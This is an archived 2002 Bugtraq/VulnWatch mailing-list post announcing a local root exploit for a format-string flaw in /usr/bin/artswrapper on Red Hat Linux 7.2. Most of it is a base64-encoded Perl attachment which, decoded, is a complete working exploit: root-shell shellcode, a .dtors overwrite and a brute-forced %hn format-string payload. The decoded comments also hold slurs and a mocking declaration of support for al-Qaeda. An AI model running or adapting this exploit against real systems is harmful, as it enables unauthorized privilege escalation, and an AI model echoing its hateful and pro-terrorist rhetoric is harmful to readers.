 | ||||||
| << Previous | INDEX | Search | src | Set bookmark | Go to bookmark | Next >> |
| ||||||
| |||||||||||||||||||||
Date: Sat Jul 6 15:45:17 2002 From: kanix THE HACKER <kanix@twinkie.com> To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org, Subject: LOCAL ROOT EXPLOIT - SUPPORT FULL-DISCLOSURE - LOCAL ROOT EXPLOIT ------------=_1025984717-27753-0 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary Greetings, This is a local exploit for a format string vulnerability in /usr/bin/artswrapper on Red Hat Linux release 7.2 (Enigma). Sincerely, kanix ------------=_1025984717-27753-0 Content-Type: text/x-perl; name="fartsy.pl" Content-Disposition: inline; filename="fartsy.pl" Content-Transfer-Encoding: base64 IyEvdXNyL2Jpbi9wZXJsDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj Iw0KIw0KIwlmYXJ0c3kucGwgYnkga2FuaXggPGthbml4QDB4ZmVlMWRlYWQu bmV0Pg0KIwkJL3Vzci9zYmluL2FydHN3cmFwcGVyIDxsb2NhbCBmb3JtYXQg c3RyaW5nIGV4cGxvaXQ+DQojCQkJVGVzdGVkIG9uIFJlZCBIYXQgTGludXgg cmVsZWFzZSA3LjIgKEVuaWdtYSkNCiMNCiMJSnVsIDYsIDIwMDINCiMNCiMg CSJ0aGUgc2VjcmV0IHRvIGNyZWF0aXZpdHkgaXMga25vd2luZyBob3cgdG8g aGlkZSB5b3VyIHNvdXJjZXMuIg0KIwkJLSBBbGJlcnQgRWluc3RlaW4NCiMN CiMgY29tbWVudHosIGpvYiBvZmZlcnosIGZsYW1leiwgZXRjLiBzaG91bGQg YmUgZGlyZWN0ZWQgdG8gbXkgZS1tYWlsDQojIGFkZHJlc3MgLS0gSSBXSUxM IFNDSE9PTCBZT1UgQUxMLg0KIw0KIyBTQ1JFVyBUSEUgVVNBISBGRUFSIFRI RSBQT1dFUiBPRiAuTk8gIUAjJCUhDQojCW9mZmljaWFsIHN1cHBvcnRlciBv ZiB0aGUgYWwtUWFlZGEgVGVycm9yaXN0IE5ldHdvcmsuDQojDQojIEJVUk4s IEJBQlksIEJVUk4hISENCiMNCiMgSSAweGMwZGVkIHRoaXMgZm9yIGZ1biBh bmQgcHJvZml0Li4uIGFuZCB0byBnZXQgc2NlbmUgd2hvcmV6LiA7Pg0KIw0K IyBUaGlzIGNvZGUgaXMgZmFyIGZyb20gc3BlY2lhbCAtIG15IG1vdGhlciBj b3VsZCBoYXZlIHdyaXR0ZW4gaXQsDQojIGhvd2V2ZXIsIHRoYXQgaXMgdGhl IGV4dGVudCBvZiBteSBhYmlsaXR5Lg0KIw0KIyBJIGNhbiBjb2RlIHNwbG9p dHMsIGJ1dCBJIGtub3cgbm90aGluZyBvZiBVTkMgZmlsZSBzaGFyaW5nISBJ J20NCiMgc3RpbGwgdmVyeSAweDEzMzcuIEkgbWVhbiwgSSBjYW4gY29kZSBl eHBsb2l0cywgdGhhdCdzIHdoYXQgbWFrZXMNCiMgeW91IGEgaGFja2VyIQ0K Iw0KIyBTUEVDSUFMIE5PVEUgVE8gU0NSSVBUIEtJRERJRVo6IGdvIGdldCBh IHBsYXlzdGF0aW9uIG9yIHNvbWV0aGluZywNCiMgdGhlcmUgYXJlIGVudWZm IHJldGFyZHogaW4gdGhlIGhhY2tlciBzY2VuZSBhbHJlYWR5IChMSUtFIE1F IDs+KSENCiMNCiMgR3JlZXR6OiAjIWRpZ2l0LWxhYnMsICMweGZlZTFkZWFk LCAjcm9vdGxlc3MsICMhR09CQkxFUywgc3lubmVyZ3ksDQojICAgICAgICAg c2VjdXJpdHkuaXMsICNoYWNrcGhyZWFrLCB0ZWxlaDByIChmYW1lIHNlZWtp bmcgd2hvcmUgbGlrZQ0KIyAgICAgICAgIG1lISksIHdvcmxkc2V4LmNvbSwg YmFkcGFjazN0IChubyAwZGF5IGZvciBqMDAhKSwgVEVBTSBURVNPDQojICAg ICAgICAgQU5EIEFMTCBPVEhFUiBGQU5aIE9GIFRIRSBETUNBIChDT1BZUklH SFQgVEhJUywgQklUQ0ghQCMkJSEpDQojDQojIGthbml4OiBJIGtub3cgaG93 IHRoZSBzdGFjayB3ZXJrei4uLiBJIEFNIEEgSEFDS0VSLiBPSz8/IT8hISEN CiMNCiMga2FuaXg6IGNhbiBzb21lMSBwbGVlemUgdGVsbCBtZSBhYm91dCBE TlMgY2FjaGUgcG9pc29uaW5nPw0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjDQoNCiRrb2RlID0NCiAgIlx4MzFceGRiIi4gICAgICAgICAgICAg ICAgICMgeG9yIGVieCwgZWJ4DQogICJceGY3XHhlMyIuICAgICAgICAgICAg ICAgICAjIG11bCBlYngNCiAgIlx4YjBceDE3Ii4gICAgICAgICAgICAgICAg ICMgbW92IGFsLCAweDE3DQogICJceGNkXHg4MCIuICAgICAgICAgICAgICAg ICAjIGludCAweDgwDQogICJceDMxXHhjMCIuICAgICAgICAgICAgICAgICAj IHhvciAgZWF4LCBlYXgNCiAgIlx4OTkiLiAgICAgICAgICAgICAgICAgICAg ICMgY2RxDQogICJceDUyIi4gICAgICAgICAgICAgICAgICAgICAjIHB1c2gg ZWR4DQogICJceDY4XHgyZlx4MmZceDczXHg2OCIuICAgICAjIHB1c2ggZHdv cmQgMHg2ODczMmYyZg0KICAiXHg2OFx4MmZceDYyXHg2OVx4NmUiLiAgICAg IyBwdXNoIGR3b3JkIDB4NmU2OTYyMmYNCiAgIlx4ODlceGUzIi4gICAgICAg ICAgICAgICAgICMgbW92ICBlYngsIGVzcA0KICAiXHg1MiIuICAgICAgICAg ICAgICAgICAgICAgIyBwdXNoIGVkeA0KICAiXHg1MyIuICAgICAgICAgICAg ICAgICAgICAgIyBwdXNoIGVieA0KICAiXHg4OVx4ZTEiLiAgICAgICAgICAg ICAgICAgIyBtb3YgIGVjeCwgZXNwDQogICJceGIwXHgwYiIuICAgICAgICAg ICAgICAgICAjIG1vdiAgYWwsIDB4MGINCiAgIlx4Y2RceDgwIjsgICAgICAg ICAgICAgICAgICMgaW50ICAweDgwDQoNCiR2dWxuICAgID0gIi91c3IvYmlu L2FydHN3cmFwcGVyIjsNCiRkdG9ycyAgID0gMHg4MDQ5YTdjICsgNDs7ICMg SSBvdmVyd3JpdGUgLmR0b3JzISAocGF0ZW50IHBlbmRpbmcpDQoNCnByaW50 ZigiXG4tLSAvdXNyL2Jpbi9hcnRzd3JhcHBlciBsb2NhbCBmb3JtYXQgc3Ry aW5nIGV4cGxvaXRcbiIpOw0KcHJpbnRmKCJcdCBieSBrYW5peCA8a2FuaXhc QDB4ZmVlMWRlYWQubmV0PlxuXG4iKTsNCg0KJHJldF9hZGRyID0gMHhjMDAw MDAwMCAtIDQNCiAgICAtIChsZW5ndGgoJHZ1bG4pICsgMSkNCiAgICAtIChs ZW5ndGgoJGtvZGUpICsgMSkNCiAgICA7DQoNCnVuZGVmKCVFTlYpOyAkRU5W eycxMzM3J30gPSAka29kZTsNCg0KcHJpbnRmKCJvdmVyd3JpdGluZyAlIy4w OHggd2l0aCAlIy4wOHhcbiIsICRkdG9ycywgJHJldF9hZGRyKTsNCnByaW50 ZigiYnJ1dGVmb3JjaW5nIGRpc3RhbmNlICgxIC4uIDMwMClcbiIpOw0Kc2xl ZXAoMik7DQoNCmZvciAoMSAuLiAzMDApIHsNCiAgICAkZm10X3N0ciA9IHN3 X2ZtdHN0cl9jcmVhdGUoJGR0b3JzLCAkcmV0X2FkZHIsICRfKTsNCiAgICBk aWUoIlx4MGEiKSBpZiAoc3lzdGVtKCIkdnVsbiAtYSAkZm10X3N0ciIpKQ0K ICAgICAgICA9fiBtL14oMHwyNTZ8NTEyfDMyNTEyKSQvOw0KfQ0KDQpzdWIN CnN3X2ZtdHN0cl9jcmVhdGUgKCQkJCkNCnsNCiAgICBkaWUoIkluY29ycmVj dCBudW1iZXIgb2YgYXJndW1lbnRzIGZvciBzd19mbXRzdHJfY3JlYXRlIikN CiAgICAgICAgdW5sZXNzIEBfID09IDM7DQoNCiAgICBteSAoJGRlc3RfYWRk ciwgJHJldF9hZGRyLCAkZGlzdCkgPSBAXzsNCiAgICBteSAoJHdvcmQsICRx d29yZCkgPSAoMiwgOCk7DQoNCiAgICAkdG1wMSAgPSAoKCRyZXRfYWRkciA+ PiAxNikgJiAweGZmZmYpOw0KICAgICR0bXAyICA9ICRyZXRfYWRkciAmIDB4 ZmZmZjsNCg0KICAgIGlmICgkdG1wMSA8ICR0bXAyKSB7DQogICAgICAgICRo aWdoID0gJHRtcDEgLSAkcXdvcmQ7DQogICAgICAgICRsb3cgID0gJHRtcDIg LSAkaGlnaCAtICRxd29yZDsNCg0KICAgICAgICAkZGVzdF9hZGRyMSA9IHBh Y2soJ0wnLCAkZGVzdF9hZGRyICsgJHdvcmQpOw0KICAgICAgICAkZGVzdF9h ZGRyMiA9IHBhY2soJ0wnLCAkZGVzdF9hZGRyKTsNCiAgICB9DQogICAgZWxz ZSB7DQogICAgICAgICRoaWdoID0gJHRtcDIgLSAkcXdvcmQ7DQogICAgICAg ICRsb3cgID0gJHRtcDEgLSAkaGlnaCAtICRxd29yZDsNCg0KICAgICAgICAk ZGVzdF9hZGRyMSA9IHBhY2soJ0wnLCAkZGVzdF9hZGRyKTsNCiAgICAgICAg JGRlc3RfYWRkcjIgPSBwYWNrKCdMJywgJGRlc3RfYWRkciArICR3b3JkKTsN CiAgICB9DQoNCiAgICBzcHJpbnRmKCIlLjRzJS40cyUlJXV1JSUldVwkaG4l JSV1dSUlJXVcJGhuIiwNCiAgICAgICAgICAgICRkZXN0X2FkZHIxLCAkZGVz dF9hZGRyMiwgJGhpZ2gsICRkaXN0LA0KICAgICAgICAgICAgJGxvdywgJGRp c3QgKyAxKTsNCn0NCg== ------------=_1025984717-27753-0--
| |||||||||||||||||||||